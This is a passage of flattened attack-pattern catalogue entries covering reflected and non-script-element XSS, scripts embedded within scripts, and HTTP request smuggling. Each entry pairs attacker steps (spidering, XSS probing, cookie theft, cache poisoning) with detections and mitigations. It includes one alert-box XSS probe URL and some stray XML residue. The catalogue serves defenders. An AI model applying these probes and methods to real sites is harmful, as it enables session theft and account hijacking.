A variant of cross-site scripting called "reflected" cross-site scripting, the HTTP Query Strings attack consists of passing a malicious script inside an otherwise valid HTTP request query string. This is of significant concern for sites that rely on dynamic, user-generated content such as bulletin boards, news sites, blogs, and web enabled administration GUIs. The malicious script may steal session data, browse history, probe files, or otherwise execute attacks on the client side. Once the attacker has prepared the malicious HTTP query it is sent to a victim user (perhaps by email, IM, or posted on an online forum), who clicks on a normal looking link that contains a poison query string. This technique can be made more effective through the use of services like http://tinyurl.com/, which makes very small URLs that will redirect to very large, complex ones. The victim will not know what he is really clicking on.

Spider Using a browser or an automated tool, an attacker follows all public links on a web site. He records all the links he finds. Use a spidering tool to follow and record all links. Make special note of any links that include parameters in the URL. env-Web Use a proxy tool to record all links visited during a manual traversal of the web application. Make special note of any links that include parameters in the URL. Manual traversal of this type is frequently necessary to identify forms that are GET method forms rather than POST forms. env-Web Use a browser to manually explore the website and analyze how it is constructed. Many browser's plugins are available to facilitate the analysis or automate the URL discovery. env-Web URL parameters are used by the application or the browser (DOM) env-Web Using URL rewriting, parameters may be part of the URL path. env-Web No parameters appear on the URL. Even though none appear, the web application may still use them if they are provided. env-Web Application could use POST variable as GET inside the application. Therefore, looking for POST parameters and adding them to the query string. env-Web Applications that have only static pages or that simply present information without accepting input are unlikely to be susceptible. env-Web A list of URLs, with their corresponding parameters is created by the attacker. Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them). Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application. Use CAPTCHA to prevent the use of the application by an automated tool. Actively monitor the application and either deny or redirect requests from origins that appear to be automated. Attempt variations on input parameters Possibly using an automated tool, an attacker requests variations on the URLs he spidered before. He sends parameters that include variations of payloads. He records all the responses from the server that include unmodified versions of his script. Use a list of XSS probe strings to inject in parameters of known URLs. If possible, the probe strings contain a unique identifier. env-Web Use a proxy tool to record results of manual input of XSS probes in known URLs. env-Web The output of pages includes some form of a URL parameter. E.g., ?error="File not Found" becomes "File not Found" in the title of the web page. env-Web Input parameters become part of JavaScript, VBScript, or other script in a web page. env-Web Nothing is returned to the web page. It may be a stored XSS. The unique identifier from the probe helps to trace the flow of the possible XSS. env-Web The attacker's cross-site scripting string is repeated back verbatim at some point in the web site (if not on the same page). Note that sometimes, the payload might be well encoded in the page, but wouldn't be encoded at all in some other section of the same web page (title, script, etc.) All HTML-sensitive characters are consistently re-encoded before being sent to the web browser. Some sensitive characters are consistently encoded, but others are not. Monitor input to web servers, application servers, and other HTTP infrastructure (e.g., load balancers). Alert on standard XSS probes. The majority of attackers use well known strings to check for vulnerabilities. Use the same vulnerability catalogs that hackers use. Apply appropriate input validation to filter all user-controllable input of scripting syntax Do not embed user-controllable input generated HTTP headers Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes. Steal session IDs, credentials, page content, etc. As the attacker succeeds in exploiting the vulnerability, he can choose to steal user's credentials in order to reuse or to analyze them later on. Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and sends document information to the attacker. env-Web Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute appropriately. env-Web The attacker gets the user's cookies or other session identifiers. The attacker gets the content of the page the user is viewing. The attacker causes the user's browser to visit a page with malicious content. Monitor server logs for scripting parameters. Monitor server logs for referrers. If users are being tricked into clicking XSS links through forums or other web postings, their web browsers will be providing Referrer headers most of the time. These can help indicate that the actual request is illegitimate. Apply appropriate input validation to filter all user-controllable input of scripting syntax Appropriately encode all browser output to avoid scripting syntax Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes. Forceful browsing When the attacker targets the current application or another one (through CSRF vulnerabilities), the user will then be the one who perform the attacks without being aware of it. These attacks are mostly targeting application logic flaws, but it can also be used to create a widespread attack against a particular website on the user's current network (Internet or not). Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and performs actions on the same web site env-Web Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute request to other web sites (especially the web applications that have CSRF vulnerabilities). env-Web The attacker indirectly controls the user's browser and makes it performing actions exploiting CSRF. The attacker manipulates the browser through the steps that he designed in his attack. The user, identified on a website, is now performing actions he is not aware of. Monitor server logs for scripting parameters. Monitor server logs for referrers. If users are being tricked into clicking XSS links through forums or other web postings, their web browsers will be providing Referrer headers most of the time. These can help indicate that the actual request is illegitimate. Apply appropriate input validation to filter all user-controllable input of scripting syntax Appropriately encode all browser output to avoid scripting syntax Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes. Content spoofing By manipulating the content, the attacker targets the information that the user would like to get from the website. Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and exposes attacker-modified invalid information to the user on the current web page. env-Web The user sees a page containing wrong information Monitor server logs for scripting parameters. Monitor server logs for referrers. If users are being tricked into clicking XSS links through forums or other web postings, their web browsers will be providing Referrer headers most of the time. These can help indicate that the actual request is illegitimate. Apply appropriate input validation to filter all user-controllable input of scripting syntax Appropriately encode all browser output to avoid scripting syntax Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes. Target client software must allow scripting such as Javascript. Server software must allow display of remote generated HTML without sufficient input or output validation. High High Injection Protocol Manipulation http://user:host@example.com:8080/oradb<script>alert('Hi')</script> Web applications that accept name value pairs in a HTTP Query string are inherently at risk to any value (or name for that matter) that an attacker would like to enter in the query string. This can be done manually via web browser or trivially scripted to post the query string to multiple sites. In the latter case, in the instance of many sites using similar infrastructure with predictable http queries being accepted and operated on (such as blogging software, Google applications, and so on), a single malicious payload can be scritped to target a wide variety of sites. Web 2.0 type sites like Technorati and del.icio.us rely on user generated content like tags to build http links that are displayed to other users. del.icio.us allows users to identify sites, tag them with metadata and provide URL, descriptions and more data. This data is then echoed back to any other web browser that is interested in the link. If the data is not validated by the del.icio.us site properly then an abritrary code can be added into the standard http string sent to del.icio.us by the attacker, for example formatted as normal content with a URL and description and tagged as Java, and available to be clicked on (and executed by) any user browsing for Java content that clicks on this trojaned content. Low: To place malicious payload on server via HTTP High: Exploiting any information gathered by HTTP Query on script host Ability to send HTTP post to scripting host and collect output Design: Use browser technologies that do not allow client side scripting. Design: Utilize strict type, character, and encoding enforcement Design: Server side developers should not proxy content via XHR or other means, if a http proxy for remote content is setup on the server side, the client's browser has no way of discerning where the data is originating from. Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification. Implementation: Perform input validation for all remote content, including remote and user-generated content Implementation: Perform output validation for all remote content. Implementation: Disable scripting languages such as Javascript in browser Implementation: Session tokens for specific host Implementation: Patching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this. Implementation: Privileges are constrained, if a script is loaded, ensure system runs in chroot jail or other limited authority mode Information Leakage Run Arbitrary Code "Attack Pattern: HTTP Query Strings A query string takes variable = value pairs. These are passed to the target executable or script designated in the request. A variable can be injected with script. The script is processed and stored in a way that is later visible to a user." [Hoglund and McGraw 04] Script delivered through standard web server, such as a web server with user-generated content. HTTP Request Query String Client web browser where script is executed Client web browser may be used to steal session data, passwords, cookies, and other tokens. 79 Targeted 84 Targeted 85 Targeted 20 Targeted 86 Targeted 692 Targeted 697 Targeted 713 Targeted 71 Targeted Exploitation High High Low Client-Server n-Tier All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name and Examples Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback Romain Gaucher Cigital, Inc 2009-02-10 Created draft content for detailed description Sean Barnum Cigital Federal, Inc 2009-04-13 Reviewed and revised content for detailed description

This attack is a form of Cross-Site Scripting (XSS) where malicious scripts are embedded in elements that are not expected to host scripts such as image tags (<img>), comments in XML documents (< !-CDATA->), etc. These tags may not be subject to the same input validation, output validation, and other content filtering and checking routines, so this can create an opportunity for an attacker to tunnel through the application's elements and launch a XSS attack through other elements. As with all remote attacks, it is important to differentiate the ability to launch an attack (such as probing an internal network for unpatched servers) and the ability of the remote attacker to collect and interpret the output of said attack.

Spider Using a browser or an automated tool, an attacker records all entry points for inputs that happen to be reflected in a client-side non-script element. These non-script elements can be located in the HTML content (head, body, comments), in an HTML tag, XML, CSS, etc. Use a spidering tool to follow and record all non static links that are likely to have input parameters (through forms, URL, fragments, etc.) actively used by the Web application. env-Web Use a proxy tool to record all links visited during a manual traversal of the web application. env-Web Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery. env-Web At least one input is reflected in a non-script element. env-Web Using URL rewriting, parameters may be part of the URL path and still used in a non-script element. env-Web No parameters appear to be used on the current page. Even though none appear, the web application may still use them if they are provided. env-Web Applications that have only static pages or that simply present information without accepting input are unlikely to be susceptible. env-Web A list of URLs, with their corresponding parameters (POST, GET, COOKIE, etc.) is created by the attacker. These parameters are all used in, possibly, client-side non-scripts elements. A list of application user interface entry fields is created by the attacker. A list of resources accessed by the application is created by the attacker. Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them). Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application. Use CAPTCHA to prevent the use of the application by an automated tool. Actively monitor the application and either deny or redirect requests from origins that appear to be automated. Probe identified potential entry points for XSS vulnerability The attacker uses the entry points gathered in the "Explore" phase as a target list and injects various common script payloads to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited. Manually inject various script payloads into each identified entry point using a list of common script injection probes that typically work in a client-side non-script elements context and observe system behavior to determine if script was executed. Since these probes may have to be injected in many different types of non-script elements, they should cover a variety of possible contexts (CSS, HTML tag, XML, etc.). env-Web Use an automated injection attack tool to inject various script payloads into each identified entry point using a list of common script injection probes that typically work in a client-side non-script elements context and observe system behavior to determine if script was executed. Since these probes may have to be injected in many different types of non-script elements, they should cover a variety of possible contexts (CSS, HTML tag, XML, etc.). env-Web Use a proxy tool to record results of the created requests. env-Web User-controllable input is output back to the browser env-Web Output to the browser is not encoded to remove executable scripting syntax. env-Web The attacker's script string is being reflected verbatim at some point in the web site (if not on the same page). Note that sometimes, the payload might be well encoded in the page, but wouldn't be encoded at all in some other section of the same web page (title, etc.) All context-sensitive characters are consistently re-encoded before being sent to the web browser. For example, in a HTML tag element, the payload may not be able to evade the quotes in order to inject another attribute. Some sensitive characters are consistently encoded, but others are not. Depending on which type of non-script element the payload is injected in, it may be possible to evade the encodings. Monitor input to web servers (not only GET, but all potential inputs like COOKIES, POST, HEADER), application servers, and other HTTP infrastructure (e.g., load balancers). Alert on standard XSS probes. The majority of attackers use well known strings to check for vulnerabilities. Use the same vulnerability catalogs that hackers use. Apply appropriate input validation to filter all user-controllable input of scripting syntax Appropriately encode all browser output to avoid scripting syntax Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes. Steal session IDs, credentials, page content, etc. As the attacker succeeds in exploiting the vulnerability, he can choose to steal user's credentials in order to reuse or to analyze them later on. Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and sends document information to the attacker. env-Web Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute appropriately. env-Web The attacker gets the user's cookies or other session identifiers. The attacker gets the content of the page the user is viewing. The attacker causes the user's browser to visit a page with malicious content. Monitor server logs for scripting parameters. Monitor server logs for referrers. If users are being tricked into clicking XSS links through forums or other web postings, their web browsers will be providing Referrer headers most of the time. These can help indicate that the actual request is illegitimate. Apply appropriate input validation to filter all user-controllable input of scripting syntax Appropriately encode all browser output to avoid scripting syntax Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes. Forceful browsing When the attacker targets the current application or another one (through CSRF vulnerabilities), the user will then be the one who perform the attacks without being aware of it. These attacks are mostly targeting application logic flaws, but it can also be used to create a widespread attack against a particular website on the user's current network (Internet or not). Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and performs actions on the same web site env-Web Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute request to other web sites (especially the web applications that have CSRF vulnerabilities). env-Web The attacker indirectly controls the user's browser and makes it performing actions exploiting CSRF. The attacker manipulates the browser through the steps that he designed in his attack. The user, identified on a website, is now performing actions he is not aware of. Monitor server logs for scripting parameters. Monitor server logs for referrers. If users are being tricked into clicking XSS links through forums or other web postings, their web browsers will be providing Referrer headers most of the time. These can help indicate that the actual request is illegitimate. Apply appropriate input validation to filter all user-controllable input of scripting syntax Appropriately encode all browser output to avoid scripting syntax Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes. Content spoofing By manipulating the content, the attacker targets the information that the user would like to get from the website. Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and exposes attacker-modified invalid information to the user on the current web page. env-Web The user sees a page containing wrong information Monitor server logs for scripting parameters. Monitor server logs for referrers. If users are being tricked into clicking XSS links through forums or other web postings, their web browsers will be providing Referrer headers most of the time. These can help indicate that the actual request is illegitimate. Apply appropriate input validation to filter all user-controllable input of scripting syntax Appropriately encode all browser output to avoid scripting syntax Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes. Target client software must be a client that allows script execution based on scripts generated by remote hosts. Very High High Injection API Abuse In this example, the attacker adds script to HTML tags other than <script> tags, when the victim's standard content is appended with a malicious script. For example a link to http://myfavoritewebsite/getMyHomePage/content?malciousscript.js The victim clicks on the link, which directs them to their home page (so that the victim does not notice anything is amiss) and simultaneously executes a script on their machine. Low: To achieve a redirection and use of less trusted source, an attacker can simply edit content such as XML payload or HTML files that are sent to client machine. High: Exploiting a client side vulnerability to inject malicious scripts into the browser's executable process. Ability to include malicious script in document, e.g. HTML file, or XML document. Ability to deploy a custom hostile service for access by targeted clients. Ability to communicate synchronously or asynchronously with client machine Design: Use browser technologies that do not allow client side scripting. Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification. Implementation: Perform input validation for all remote content. Implementation: Perform output validation for all remote content. Implementation: Disable scripting languages such as Javascript in browser Implementation: Session tokens for specific host Implementation: Service provider should not use the XMLHttpRequest method to create a local proxy for content from other sites, because the client will not be able to discern what content comes from which host. Run Arbitrary Code Information Leakage tags. Instead, script can appear as part of another HTML tag, such as the image tag. The injection vector is [Hoglund and McGraw 04]]]> Malicious input delivered through standard document formats, e.g. XML document or HTML file to the client. Varies with instantiation of attack pattern. In the case of HTML files they may not be visible to the end user via a browser. Client software and its component libraries Enables attacker to execute scripts to launch attacks on remote client machine and environment 80 Targeted 83 Targeted 84 Secondary 82 Targeted 348 Targeted 96 Targeted 20 Targeted 116 Targeted 184 Secondary 86 Secondary 350 Targeted 692 Targeted 697 Targeted 713 Targeted 71 Targeted Penetration Medium Medium Low All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in Name and Description Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback Romain Gaucher Cigital, Inc 2009-02-10 Created draft content for detailed description Sean Barnum Cigital Federal, Inc 2009-04-13 Reviewed and revised content for detailed description

An attack of this type exploits a programs' vulnerabilities that are brought on by allowing remote hosts to execute scripts. The attacker leverages this capability to execute scripts to execute his/her own script by embedding it within other scripts that the target software is likely to execute. The attacker must have the ability to inject script into script that is likely to be executed. If this is done, then the attacker can potentially launch a variety of probes and attacks against the web server's local environment, in many cases the so-called DMZ, back end resources the web server can communicate with, and other hosts. With the proliferation of intermediaries, such as Web App Firewalls, network devices, and even printers having JVMs and Web servers, there are many locales where an attacker can inject malicious scripts. Since this attack pattern defines scripts within scripts, there are likely privileges to execute said attack on the host. Of course, these attacks are not solely limited to the server side, client side scripts like Ajax and client side Javascript can contain malicious scripts as well. In general all that is required is for there to be sufficient privileges to execute a script, but not protected against writing.

Spider Using a browser or an automated tool, an attacker records all entry points for inputs that happen to be reflected in a client-side script element. These script elements can be located in the HTML content (head, body, comments), in an HTML tag, XML, CSS, etc. Use a spidering tool to follow and record all non static links that are likely to have input parameters (through forms, URL, fragments, etc.) actively used by the Web application. env-Web Use a proxy tool to record all links visited during a manual traversal of the web application. env-Web Use a browser to manually explore the website and analyze how it is constructed. Many browsers' plugins are available to facilitate the analysis or automate the discovery. env-Web Inputs are used in a script element (script tag, DOM, etc.) and not in another type of element. env-Web Using URL rewriting, parameters may be part of the URL path or the URL fragment. env-Web No parameters appear to be used on the current page. Even though none appear, the web application may still use them if they are provided. env-Web Applications that have only static pages or that simply present information without accepting input are unlikely to be susceptible. env-Web A list of URLs, with their corresponding parameters (POST, GET, COOKIE, etc.) is created by the attacker. These parameters are possibly used in client-side scripts elements. A list of application user interface entry fields is created by the attacker. A list of resources accessed by the application is created by the attacker. Monitor velocity of page fetching in web logs. Humans who view a page and select a link from it will click far slower and far less regularly than tools. Tools make requests very quickly and the requests are typically spaced apart regularly (e.g. 0.8 seconds between them). Create links on some pages that are visually hidden from web browsers. Using IFRAMES, images, or other HTML techniques, the links can be hidden from web browsing humans, but visible to spiders and programs. A request for the page, then, becomes a good predictor of an automated tool probing the application. Use CAPTCHA to prevent the use of the application by an automated tool. Actively monitor the application and either deny or redirect requests from origins that appear to be automated. Probe identified potential entry points for XSS vulnerability The attacker uses the entry points gathered in the "Explore" phase as a target list and injects various common script payloads to determine if an entry point actually represents a vulnerability and to characterize the extent to which the vulnerability can be exploited. Manually inject various script payloads into each identified entry point using a list of common script injection probes that typically work in a client-side script elements context and observe system behavior to determine if script was executed. env-Web Manually inject various script payloads into each identified entry point using a list of common script injection probes that typically work in a server-side script elements context and observe system behavior to determine if script was executed. env-Web Use an automated injection attack tool to inject various script payloads into each identified entry point using a list of common script injection probes that typically work in a client-side script elements context and observe system behavior to determine if script was executed. env-Web Use an automated injection attack tool to inject various script payloads into each identified entry point using a list of common script injection probes that typically work in a server-side script elements context and observe system behavior to determine if script was executed. env-Web Use a proxy tool to record results of the created requests. env-Web User-controllable input is output back to the browser env-Web User-controllable input is embedded as part of script elements env-Web Output to the browser is not encoded to remove executable scripting syntax env-Web Server-side components execute script elements containing user-controllable input env-Web The attacker's script string is being reflected verbatim at some point in the web site (if not on the same page). Note that sometimes, the payload might be well encoded in the page, but wouldn't be encoded at all in some other section of the same web page (title, etc.) The attacker's script string is executed by the server-side component. All context-sensitive characters are consistently re-encoded before being sent to the web browser. Some sensitive characters are consistently encoded, but others are not. Depending on which type of non-script element the payload is injected in, it may be possible to evade the encodings. Monitor input to web servers (not only GET, but all potential inputs like COOKIES, POST, HEADER), application servers, and other HTTP infrastructure (e.g., load balancers). Alert on standard XSS probes. The majority of attackers use well known strings to check for vulnerabilities. Use the same vulnerability catalogs that hackers use. Apply appropriate input validation to filter all user-controllable input of scripting syntax Do not embed user-controllable input in script elements. Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes. Steal session IDs, credentials, page content, etc. As the attacker succeeds in exploiting the vulnerability, he can choose to steal user's credentials in order to reuse or to analyze them later on. Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and sends document information to the attacker. env-Web Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute appropriately. env-Web The attacker gets the user's cookies or other session identifiers. The attacker gets the content of the page the user is viewing. The attacker causes the user's browser to visit a page with malicious content. Monitor server logs for scripting parameters. Monitor server logs for referrers. If users are being tricked into clicking XSS links through forums or other web postings, their web browsers will be providing Referrer headers most of the time. These can help indicate that the actual request is illegitimate. Apply appropriate input validation to filter all user-controllable input of scripting syntax Appropriately encode all browser output to avoid scripting syntax Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes. Forceful browsing When the attacker targets the current application or another one (through CSRF vulnerabilities), the user will then be the one who perform the attacks without being aware of it. These attacks are mostly targeting application logic flaws, but it can also be used to create a widespread attack against a particular website on the user's current network (Internet or not). Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and performs actions on the same web site env-Web Develop malicious JavaScript that injected through vectors identified during the Experiment Phase and takes commands from an attacker's server and then causes the browser to execute request to other web sites (especially the web applications that have CSRF vulnerabilities). env-Web The attacker indirectly controls the user's browser and makes it performing actions exploiting CSRF. The attacker manipulates the browser through the steps that he designed in his attack. The user, identified on a website, is now performing actions he is not aware of. Monitor server logs for scripting parameters. Monitor server logs for referrers. If users are being tricked into clicking XSS links through forums or other web postings, their web browsers will be providing Referrer headers most of the time. These can help indicate that the actual request is illegitimate. Apply appropriate input validation to filter all user-controllable input of scripting syntax Appropriately encode all browser output to avoid scripting syntax Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes. Content spoofing By manipulating the content, the attacker targets the information that the user would like to get from the website. Develop malicious JavaScript that is injected through vectors identified during the Experiment Phase and loaded by the victim's browser and exposes attacker-modified invalid information to the user on the current web page. env-Web The user sees a page containing wrong information Monitor server logs for scripting parameters. Monitor server logs for referrers. If users are being tricked into clicking XSS links through forums or other web postings, their web browsers will be providing Referrer headers most of the time. These can help indicate that the actual request is illegitimate. Apply appropriate input validation to filter all user-controllable input of scripting syntax Appropriately encode all browser output to avoid scripting syntax Actively monitor the application and either deny or redirect requests from origins that appear to be generating XSS probes. Target software must be able to execute scripts, and also allow attacker to write/upload script High High Injection API Abuse The XSS script that is embeded in a given IMG tag can be manipulated to probe a different address on every click of the mouse or other motions that the Ajax application is aware of. In addition the enumerations allow for the attacker to nest sequential logic in the attacks. While Ajax applications do not open up brand new attack vectors, the existing attack vectors are more than adequate to execute attacks, and now these attacks can be optimized to sequentially execute and enumerate host environments.]]> Low: To load malicious script into open, e.g. world writable directory Medium: Executing remote scripts on host and collecting output Ability to deploy a custom script on host Design: Use browser technologies that do not allow client side scripting. Design: Utilize strict type, character, and encoding enforcement Design: Server side developers should not proxy content via XHR or other means, if a http proxy for remote content is setup on the server side, the client's browser has no way of discerning where the data is originating from. Implementation: Ensure all content that is delivered to client is sanitized against an acceptable content specification. Implementation: Perform input validation for all remote content. Implementation: Perform output validation for all remote content. Implementation: Disable scripting languages such as Javascript in browser Implementation: Session tokens for specific host Implementation: Patching software. There are many attack vectors for XSS on the client side and the server side. Many vulnerabilities are fixed in service packs for browser, web servers, and plug in technologies, staying current on patch release that deal with XSS countermeasures mitigates this. Implementation: Privileges are constrained, if a script is loaded, ensure system runs in chroot jail or other limited authority mode Run Arbitrary Code Privilege Escalation "Attack Pattern: Embedding Scripts within Scripts The technology that runs the Internet is diverse and complex. There are hundreds of development languages, compilers, and interpreters that can build and execute code. Every developer has a sense for only part of the overall technology. Investments in time and money are made into each particular technology. As these systems evolve, the need to maintain backward compatibility becomes paramount. In management speak, this is the need to capitalize on an existing software investment. This is one reason that some newer scripting languages have backward support for older scripting languages. As a result of this rapid and barely controlled evolution, much of the technology found in the wild can embed or otherwise access other languages and technologies in some form. This adds multiple layers of complexity and makes keeping track of all the disparate (yet available) functionality difficult at best. Filtering rules and security assumptions get swamped by the flow of new stuff. Looking for unanticipated functionality forgotten in the nooks and crannies of a system is an excellent technique." [Hoglund and McGraw 04] Malicious input delivered through standard script page, e.g. ASP web page Varies with instantiation of attack pattern. MAy contain network probe or attacks that run against or on host using host account permissions Web server scripting host Enables attacker to execute scripts on remote host 79 Targeted 276 Targeted 279 Secondary 284 Secondary 692 Targeted 697 Targeted 713 Targeted 71 Targeted 18 Similar Penetration Medium High Low All All All All G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. G. Hoglund and G. McGraw. Exploiting Software: How to Break Code. Addison-Wesley, February 2004. Cigital, Inc 2007-01-01 Gunnar Peterson Cigital, Inc 2007-02-28 Fleshed out content to CAPEC schema from the original descriptions in "Exploiting Software" Sean Barnum Cigital, Inc 2007-03-09 Review and revise Richard Struse VOXEM, Inc 2007-03-26 Review and feedback leading to changes in ADescription and Related Attack Patterns Sean Barnum Cigital, Inc 2007-04-13 Modified pattern content according to review and feedback Romain Gaucher Cigital, Inc 2009-02-10 Created draft content for detailed description Sean Barnum Cigital Federal, Inc 2009-04-13 Reviewed and revised content for detailed description

HTTP Request Smuggling results from the discrepancies in parsing HTTP requests between HTTP entities such as web caching proxies or application firewalls. Entities such as web servers, web caching proxies, application firewalls or simple proxies often parse HTTP requests in slightly different ways. Under specific situations where there are two or more such entities in the path of the HTTP request, a specially crafted request is seen by two attacked entities as two different sets of requests. This allows certain requests to be smuggled through to a second entity without the first one realizing it.

Identify HTTP parsing chain Determine the technologies used in the target environment such as types of web servers, application firewalls, proxies, etc. Investigation of the target environment to determine the types of technologies used to parse the incoming HTTP requests. Attempt to understand the parsing chain traversed by the incoming HTTP request. env-Web Full HTTP parsing chain for the application has been identified Probe for vulnerable differences in HTTP parsing chain Attacker sends malformed HTTP Requests to the application looking for differences in the ways that individual layers in the parsing chain parse requests. When differences are identified, the attacker crafts specially malformed HTTP requests to determine if the identified parsing differences will allow extra requests to be smuggled through parsing layers. Create many consecutive requests to the server. Some of which must be malformed. env-Web Use a proxy tool to record the HTTP responses headers. env-Web At some point, the server is waiting for more request information to send the last response. env-Web No response is being received. env-Web Malformed HTTP requests are being totally ignored. env-Web Responses are being sent even if the HTTP header is incomplete. env-Web One layer in the application's HTTP parsing chain processes HTTP Requests that other layers do not. The server smuggles the user request into the last attacker's request and transport data such as cookie, etc. The server replies with an error to the last attacker's request. No response for the last incomplete request from the attacker by the server Monitor requests to the server that seem malformed. Cache poisoning The attacker decides to target the cache server. The server will then cache the request and serve a wrong page to a legitimate user's request. The malicious request will most likely exploit a Cross-Site Scripting or another injection typed vulnerability. Leverage the vulnerabilities identified in the Experiment Phase to inject malicious HTTP request that contains HTTP Request syntax that will be processed and acted on by the outer parsing layer of the cache server but not by the inner application layer. In this way it will be cached by the server without obvious sign from the application and the corrupt data will be served to future requesters. env-Web The attacker gets the users to be served with this cached malicious HTTP request. Monitor server logs for consecutive suspicious HTTP requests. Session Hijacking The attacker decides to target the web server by crafting a malicious HTTP Request containing a second HTTP Request using syntax that will not be processed and acted on by an outer "filter" parsing layer but will be acted on by the inner web server/application processing layers. The application/web server will then act on the malicious HTTP Request as if it is a valid request from the client potentially subverting session management. Leverage the vulnerabilities identified in the Experiment Phase to inject malicious HTTP request that contains HTTP Request syntax that will not be processed and acted on by the outer parsing layer of the malicious content filters but will be by the inner application/web server layer. In this way it will be acted on by the application/web server as if it is a valid request from the client. env-Web The attacker gets the application/web server to act on the malicious HTTP request and allows the attacker to gain control of the target user's session. Monitor server logs for consecutive suspicious HTTP requests. An additional HTTP entity such as an application firewall or a web caching proxy between the attacker and the second entity such as a web server Differences in the way the two HTTP entities parse HTTP requests High Medium Protocol Manipulation Injection When using Sun Java System Web Proxy Server 3.x or 4.x in conjunction with Sun ONE/iPlanet 6.x, Sun Java System Application Server 7.x or 8.x, it is possible to bypass certain application firewall protections, hijack web sessions, perform Cross Site Scripting or poison the web proxy cache using HTTP Request Smuggling. Differences in the way HTTP requests are parsed by the Proxy Server and the Application Server enable malicious requests to be smuggled through to the Application Server, thereby exposing the Application Server to aforementioned attacks. CVE-2006-6276 Apache server 2.0.45 and version before 1.3.34, when used as a proxy, easily lead to web cache poisoning and bypassing of application firewall restrictions because of non-standard HTTP behavior. Although the HTTP/1.1 specification clearly states that a request with both "Content-Length" and a "Transfer-Encoding: chunked" headers is invalid, vulnerable versions of Apache accept such requests and reassemble the ones with "Transfer-Encoding: chunked" header without replacing the existing "Content-Length" header or adding its own. This leads to HTTP Request Smuggling using a request with a chunked body and a header with "Content-Length: 0". CVE-2005-2088 High - The attacker has to have detailed knowledge of the HTTP protocol specifics and must also possess exact details on the discrepancies between the two targeted entities in parsing HTTP requests. None If system documentation is available, the attacker can look up the exact versions of the two targeted entities, since different versions of the same system often behave differently. The attacker can also use product-specific documentation to figure out differences in parsing HTTP requests between the two entities. In case where no documentation is available, the attacker needs to reliably fingerprint the targeted entities to discover the nature and version of the entities. Having done this, the attacker then needs to experimentally determine how the two entities differ in parsing requests. Differences in requests processed by the two entities. This requires careful monitoring or a capable log analysis tool. HTTP Request Smuggling is usually targeted at web servers. Therefore, in such cases, careful analysis of the entities must occur during system design prior to deployment. If there are known differences in the way the entities parse HTTP requests, the choice of entities needs consideration. Employing an application firewall can help. However, there are instances of the firewalls being susceptible to HTTP Request Smuggling as well. Run Arbitrary Code Privilege Escalation Data Modification HTTP Request Smuggling takes place when two inline devices, such as a proxy and a web server interpret HTTP requests differently. For example, there are differences in the way such entities treat requests based on the "Content-Length" HTTP header. Microsoft ISA/2000 uses the last of multiple "Content-Length" headers whereas Tomcat 4.1.24 uses the first such header. HTTP Request Smuggling through to Tomcat is 